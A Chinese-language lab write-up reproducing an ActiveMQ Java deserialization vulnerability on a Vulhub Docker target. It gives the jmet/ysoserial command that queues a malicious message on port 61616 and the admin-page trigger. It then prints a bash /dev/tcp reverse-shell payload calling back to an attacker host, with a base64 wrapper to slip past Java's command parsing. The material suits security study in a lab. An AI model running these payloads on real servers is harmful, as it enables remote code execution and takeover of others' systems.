环境搭建

这里采用Vulhub漏洞靶场直接一键搭建

漏洞复现

首先粘上给出的文档:

1
2
3
4
5
漏洞利用过程如下:

- 构造(可以使用ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标61616端口
- 访问web管理页面,读取消息,触发漏洞

先介绍一下ysoserial,ysoserial是一个Java反序列化工具框架,它包含常见的Java反序列化类型,
可以生成一些payload,这里使用jmet,jmet自带ysoserial;

先访问

1
http://靶机IP:8161

确保环境搭建成功了,然后开始漏洞的利用
在攻击机上下载好工具jmet,并且安装java环境

1
2
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
yum -y install java

执行下列语句:

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 靶机IP 61616

执行成功之后,此时会给目标ActiveMQ添加一个名为event的队列,

我们可以通过访问:

1
http://靶机IP:8161/admin/browse.jsp?JMSDestination=event

可以看到有一个消息,当管理员点击此消息时会触发刚刚的touch /tmp/success
我们可以在docker环境里看到这个文件,

1
2
docker exec -it (dockerid) /bin/sh
ls /tmp/

可以看到已经成功的创建了success,可以执行命令,所以下一步我们直接反弹一个shell,
payload:

1
bash -i >& /dev/tcp/攻击机IP/8888 0>&1

这里需要一些小技巧来绕过java的机制,

1
bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}

攻击机监听8888端口,然后访问刚刚在消息队列里的消息,
即可得到shell